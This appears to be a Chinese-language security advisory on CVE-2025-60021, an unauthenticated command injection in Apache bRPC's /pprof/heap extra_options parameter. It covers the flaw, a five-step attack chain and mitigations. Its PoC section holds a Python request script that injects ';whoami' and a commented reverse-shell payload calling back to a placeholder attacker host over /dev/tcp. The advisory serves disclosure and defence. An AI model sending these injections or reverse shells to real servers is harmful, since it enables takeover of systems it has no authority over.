CVE-2025-60021 CVSS 9.8 严重

CVE-2025-60021 Apache bRPC堆内存分析器远程命令注入漏洞

披露日期: 2026-01-16

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-60021

漏洞类型

远程代码执行

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Apache bRPC

漏洞概述

CVE-2025-60021是Apache bRPC中一个严重的远程命令注入漏洞，CVSS评分高达9.8分（严重级别）。该漏洞存在于bRPC的堆内存分析器内置服务（/pprof/heap）中，影响所有平台上的Apache bRPC版本低于1.15.0的所有版本。攻击者无需任何认证即可利用此漏洞，通过构造恶意的extra_options参数值注入并执行任意远程命令。由于bRPC是一个被广泛使用的开源高性能RPC框架，常用于构建高性能网络服务和分布式系统，此漏洞对使用该框架的企业和组织构成了极高的安全风险。漏洞于2026年1月16日被披露并发布修复版本。

技术细节

Apache bRPC的堆内存分析器内置服务（/pprof/heap）存在严重的输入验证缺陷。该服务在处理用户请求时，会将用户提供的extra_options参数直接作为命令行参数传递给底层系统调用，而未对其进行任何安全验证或过滤。攻击者可以通过构造包含恶意命令的extra_options参数，利用系统命令注入技术执行任意系统命令。例如，攻击者可发送带有特殊构造的extra_options值的HTTP请求到/pprof/heap端点，该值中包含的命令分隔符和恶意指令将被直接执行。攻击过程无需任何认证，且可通过网络远程发起，成功利用后可完全控制目标服务器。该漏洞影响使用bRPC内置heap profiler服务进行jemalloc内存分析的所有部署场景。

攻击链分析

STEP 1

步骤1

探测目标：攻击者首先识别运行Apache bRPC服务的目标服务器，确认/pprof/heap端点是否可访问

STEP 2

步骤2

构造恶意请求：攻击者构造包含恶意命令的extra_options参数，如添加命令分隔符和待执行的系统命令

STEP 3

步骤3

发送攻击请求：向目标的/pprof/heap端点发送HTTP GET请求，extra_options参数带有注入的命令

STEP 4

步骤4

命令执行：bRPC的heap profiler服务将未经验证的extra_options参数直接传递给系统命令执行

STEP 5

步骤5

获取控制权：成功执行注入的命令后，攻击者可在目标服务器上执行任意操作，建立持久化访问或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2025-60021 PoC - Apache bRPC heap profiler RCE
# Target: Apache bRPC < 1.15.0
# Endpoint: /pprof/heap

target = "http://target:8080"
endpoint = "/pprof/heap"

# Malicious payload to execute remote command via extra_options parameter
# The extra_options parameter is passed directly to command line without validation
malicious_payload = ";whoami"  # or any reverse shell command

url = f"{target}{endpoint}?extra_options={malicious_payload}"

try:
    response = requests.get(url, timeout=10)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text[:500]}")
except requests.exceptions.RequestException as e:
    print(f"Request failed: {e}")

# Alternative: Reverse shell payload example
# extra_options=;bash -i >& /dev/tcp/attacker_ip/port 0>&1

影响范围

Apache bRPC < 1.15.0

防御指南

临时缓解措施

在无法立即升级的情况下，可通过以下措施临时缓解：1) 在Web应用防火墙(WAF)或反向代理中配置规则，阻止包含可疑字符的extra_options参数请求；2) 使用网络隔离技术限制对bRPC服务的访问；3) 临时禁用heap profiler内置服务；4) 监控日志关注异常的/pprof/heap访问行为。建议尽快完成版本升级以彻底消除该安全风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表